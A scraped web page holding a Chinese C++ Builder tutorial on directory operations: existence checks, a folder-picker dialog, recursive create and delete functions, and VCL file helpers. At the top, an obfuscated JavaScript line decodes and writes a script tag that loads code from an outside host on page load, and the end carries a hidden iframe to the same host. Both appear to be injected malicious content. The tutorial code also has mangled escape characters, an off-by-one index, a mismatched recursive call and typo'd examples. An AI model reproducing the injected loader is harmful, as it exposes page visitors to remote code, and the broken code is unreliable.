HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
c++Builder 下的文件及目录操作
一、判断目录是否存在:
C++ Builder
中提供了检查文件是否存在的函数
FileExists
,
indows
程序实现如下:
设
char *Dir
为带判断的目录
bool Exist; //
最后结果,表示目录是否存在
if(Dir[strlen(Dir)]=='//')Dir[strlen(Dir)-1]='/0'; //
先删除最后的“
/
”
WIN32_FIND_DATA wfd; //
查找
HANDLE hFind=FindFirstFile(Dir,&wfd);
if(hFind==INVALID_HANDLE_VALUE)Exist=false; //
没有找到配备,目录肯定不存在
else
{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) //
检查找到的结果是否目录
Exist=true; //
是目录
,
目录存在
else
Exist=false; //
是目录
,
目录不存在
FindClose(hFind);
}
二、打开目录选择对话框选择一个目录:
大多专业软件在要求输入目录的编辑框旁都放了一个按钮,点击后打开一个目录窗口,很多编程爱好者也希望能掌握这个方法。实现这个功能要调用
Windows API
函数
SHBrowseForFolder
,完整声明为
WINSHELLAPI LPITEMIDLIST WINAPI SHBrowseForFolder(LPBROWSEINFO lpbi)
,返回一个
ITEMIDLIST
类型的指针,通过这个指针调用函数
SHGetPathFromIDList
可以确定所选择的目录的全名称。入参为
BROWSEINFO
结构的指针,这个结构较为复杂,成员如下所示:
HWND hwndOwner; //
拥有对话框的窗口,可以设置为
Application->Handle
LPCITEMIDLIST pidlRoot; // ITEMIDLIST
类型的指针
,
表示在哪个路径下选择,一般可以设置为
NULL
LPSTR pszDisplayName; //
选择后,所选目录的名称
(
不包含父级目录
)
被拷贝到这个指针指向的位置
LPCSTR lpszTitle; //
作为标题显示在对话框中目录树的上面,可以根据实际情况设置
UINT ulFlags; //
标志位,有点复杂,一般设置为
BIF_RETURNONLYFSDIRS
BFFCALLBACK lpfn; //
回调函数,一般不用,设置为
NULL
LPARAM lParam; //
预定义的对话框传递给回调函数的值
int iImage; //
与所选目录相关联的图标在系统图标集合中的索引
可以看出,使用函数
SHBrowseForFolder
还真麻烦,普通爱好者掌握它确实有一定的难度,现给出完整程序段如下:
#include <shlobj.h> //
必须包含的头文件
char SelectedDir[MAX_PATH]; //
最终结果
BROWSEINFO bi; //
入参
char FolderName[MAX_PATH]; //
所选目录名称,例如选择
C:/Windows/Font,
则为
Font
LPITEMIDLIST ItemID; //
所选目录的系统标志指针
memset(SelectedDir, 0, MAX_PATH); //
初始化最终结果
memset(&bi, 0, sizeof(BROWSEINFO)); //
初始化入参所有数据
bi.hwndOwner = Application->Handle;
bi.pszDisplayName = FolderName;
bi.lpszTitle = "
请选择目录
"; //
改成自己希望的
bi.ulFlags=BIF_RETURNONLYFSDIRS;
ItemID = SHBrowseForFolder(&bi); //
调用函数,打开目录选择对话框
if(ItemID)
{
SHGetPathFromIDList(ItemID, SelectedDir); //
获取所选目录的全名
GlobalFree(ItemID); //
返回的
ItemID
占用了系统资源,不要忘了释放
}
三、直接建立多级目录:
Windows API
提供了建立目录的函数
CreateDirectory
,但是调用前要保证父目录必须存在,否则会失败。其实,有时越级建立多级目录很有用,因为在建立目录特别是建立多层目录时,层层加以判断会大大地增加程序的复杂程度。如何实现这个功能呢?本人用递归方法设计了一个可以直接建立多级目录的函数,现说明如下,供各位朋友参考。
bool MakeDirectoryEx(const AnsiString &P) //
入参为打算创建的目录名
,
根据操作结果返回
"true"
或
"false"
{
if(P.IsEmpty())return false;
int len=P.Length();
char *Path=P.c_str();
if(Path[len-1]=='//')
{
len--;
Path[len]='/0';
} //
删除末尾的
"/"
AnsiString Dir=Path;
//
分开父目录和本身目录名称
AnsiString Parent;
for(int i=len-1;i>0;i--)
{
if(Dir.IsPathDelimiter(i))
{
Parent=Dir.SubString(0,i);
break;
}
}
if(Parent.IsEmpty())return false; //
目录名称错误
bool Ret=true;
if(Parent.Length()>3) //
如果长度小于
3
,表示为磁盘根目录
Ret=DirectoryExistEx(Parent.c_str());//
检查父目录是否存在
if(!Ret)Ret=MakeDirectoryEx(Parent); //
父目录不存在
,
递归调用创建父目录
if(Ret) //
父目录存在
,
直接创建目录
{
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=0;
Ret=CreateDirectory(Path,&sa);
}
return Ret;
}
可以看出基本方法是
:
先检查父目录是否存在,这里用到的函数
DirectoryExistEx
可以按照前面介绍的方法设计;
如果父目录存在,则直接创建目录
,
否则自我调用创建父目录。
四、直接删除整个目录:
在
DOS
下有一个
Deltree
命令,用来删除整个目录,这是一个很有用的功能,可惜,
Windows API
提供的函数
RemoveDirectory
只能删除控目录,就像
DOS
的
RD
命令一样。编程实现这个功能同样需要递归方法,基本流程是:
查找目录下的所有文件和目录,即调用
API
函数
FindFirstFile
、
FindNextFile(*.*)
如果找到文件,则强制删除。所谓强制删除,即删除前先调用
SetFileAttributes
把它的属性设置为
Normal
,然后调用
DeleteFile
删除它。
如果找到目录,则进行自我调用,即开始递归过程。
如果没有找到目录,即表示为控目录,调用
RemoveDirectory
直接删除。
具体程序代码如下:
bool DeleteDirectoryEx(const AnsiString &P)
{
if(P.IsEmpty() || P.Length()<4)return false; //
参数长度必须大于
3
,即不能为磁盘根目录或空白
int len=P.Length();
char *Path=P.c_str();
AnsiString Dir=Path;
if(Path[len-1]!='//')Dir=Dir+'//';
AnsiString Files=Dir+"*.*";
WIN32_FIND_DATA wfd;
HANDLE hFind=FindFirstFile(Files.c_str(),&wfd);
bool Ret=true;
AnsiString Tmp;
if(hFind!=INVALID_HANDLE_VALUE)
{
bool bFind=true;
while(bFind)
{
if(wfd.cFileName[0]!='.') // . ..
{
Tmp=Dir+wfd.cFileName;
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{ //
删除所有子目录
Ret=Ret&&DeleteDirectoryEx(Tmp.c_str(),false);
}else
{ //
删除所有文件
SetFileAttributes(Tmp.c_str(),FILE_ATTRIBUTE_NORMAL);
Ret=Ret&&DeleteFile(Tmp.c_str());
}
}
bFind=FindNextFile(hFind,&wfd);
}
FindClose(hFind);
}
if(Ret)return RemoveDirectory(Path);
return false;
}
直接建立多级目录可以用
ForceDirectories
比如
ForceDirectories("C://111//222//333");
即使不存在
C:/111
这个目录,也会创建成功。
ExpandFileName()
返回文件的全路径
(
含驱动器、路径
)
ExtractFileExt()
从文件名中抽取扩展名
ExtractFileName()
从文件名中抽取不含路径的文件名
ExtractFilePath()
从文件名中抽取路径名
ExtractFileDir()
从文件名中抽取目录名
ExtractFileDrive()
从文件名中抽取驱动器名
ChangeFileExt()
改变文件的扩展名
ExpandUNCFileName()
返回含有网络驱动器的文件全路径
ExtractRelativePath()
从文件名中抽取相对路径信息
ExtractShortPathName()
把文件名转化为
DOS
的
8
·
3
格式
MatchesMask()
检查文件是否与指定的文件名格式匹配
CreateDir()
创建新的子目录
DeleteFile()
删除文件
DirectoryExists()
判断目录是否存在
DiskFree()
获取磁盘剩余空间
DiskSize()
获取磁盘容量
FileExists()
判断文件是否存在
FileGetAttr()
获取文件属性
FileGetDate()
获取文件日期
GetCurrentDir()
获取当前目录
RemoveDir()
删除目录
SetCurrentDir()
设置当前目录
下面就把这些函数作一一介绍:
⑴
CreateDir()
原型:
extern PACKAGE bool __fastcall CreateDir(const System::AnsiString Dir);
功能:建立子目录,如果成功返回
true
,否则返回
false
参数:
Dir:
要建立的子目录的名字
例:
Create("ASM");//
在当前目录下建立一个名为
ASM
的子目录
⑵
DeleteFile()
原型:
extern PACKAGE bool __fastcall DeleteFile(const System::AnsiString FileName);
功能:删除文件,如果成功返回
true
,否则返回
false
参数:
FileName:
要删除的文件名
例:
if(OpenDialog1->Execute())DeleteFile(OpenDialog1->FileName);
⑶
DirectoryExists()
原型:
extern PACKAGE bool __fastcall DirectoryExists(const System:: AnsiString Name);
功能:检测目录是否存在,如果存在返回
true
,否则返回
false
参数:
Name:
要检测的目录名
例:
if(!DirectoryExists("ASM"))CreateDir("ASM");//
如果
ASM
这个目录不存在则创建之
⑷
DiskFree()
原型:
extern PACKAGE __int64 __fastcall DiskFree(Byte Drive);
功能:检测磁盘剩余空间,返回值以字节为单位,如果指定的磁盘无效,返回
-1
参数:
Drive
:磁盘的代号,
0
表示当前盘
, 1=A,2=B,3=C
以此类推
例:
ShowMessage(DiskFree(0));//
显示当前盘的剩余空间
⑸
DiskSize()
原型:
extern PACKAGE __int64 __fastcall DiskSize(Byte Drive);
功能:检测磁盘容量,返回值以字节为单位,如果指定的磁盘无效,返回
-1
参数:
Drive
:磁盘的代号,
0
表示当前盘
, 1=A,2=B,3=C
以此类推
例:
ShowMessage(DiskFree(0));//
显示当前盘的容量
⑹
FileExists()
原型:
extern PACKAGE bool __fastcall FileExists(const AnsiString FileName);
功能:检测文件是否存在,如果存在返回
true
,否则返回
false
参数:
FileName:
要检测的文件名
例:
if(FileExists("AAA.ASM"))DeleteFile("AAA.ASM");
⑺
FileGetAttr()
原型:
extern PACKAGE int __fastcall FileGetAttr(const AnsiString FileName);
功能:取得文件属性,如果出错返回
-1
返回值如下表,如果返回
$00000006
表示是一个具有隐含和系统属性的文件
(4+2)
常量
值
含义
faReadOnly $00000001
只读文件
faHidden $00000002
隐含文件
faSysFile $00000004
系统文件
faVolumeID $00000008
卷标
faDirectory $00000010
目录
faArchive $00000020
归档文件
例:
if(FileGetAttr("LLL.TXT")&0x2)ShowMessage("
这是一个有隐含属性的文件
");
与此对应的有
FileSetAttr()
,请自已查阅帮助系统
⑻
FileGetDate()
原型:
extern PACKAGE int __fastcall FileGetDate(int Handle);
功能:返回文件的建立时间到
1970-1-1
日
0
时的秒数
参数:
Handle:
用
FileOpen()
打开的文件句柄。
例:
int i=FileOpen("C://autoexec.bat",fmOpenRead);
ShowMessage(FileGetDate(i));
FileClose(i);
与此对应的有
FileSetDate()
,请自已查阅帮助系统
⑼
GetCurrentDir()
原型:
extern PACKAGE AnsiString __fastcall GetCurrentDir();
功能:取得当前的目录名
例:
ShowMessage(GetCurrentDir());
⑽
RemoveDir()
原型:
extern PACKAGE bool __fastcall RemoveDir(const AnsiString Dir);
功能:删除目录,如果成功返回
true
,否则返回
false
参数:
Dir:
要删除的目录名
例:
if(DiectoryExists("ASM"))RemoveDir("ASM");
⑾
SetCurrentDir()
原型:
extern PACKAGE bool __fastcall SetCurrentDir(const AnsiString Dir);
功能:设置当前目录,如果成功返回
true
,否则返回
false
参数:
Dir:
要切换到的目录名
例:
SetCurrentDir("C://WINDOWS");
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">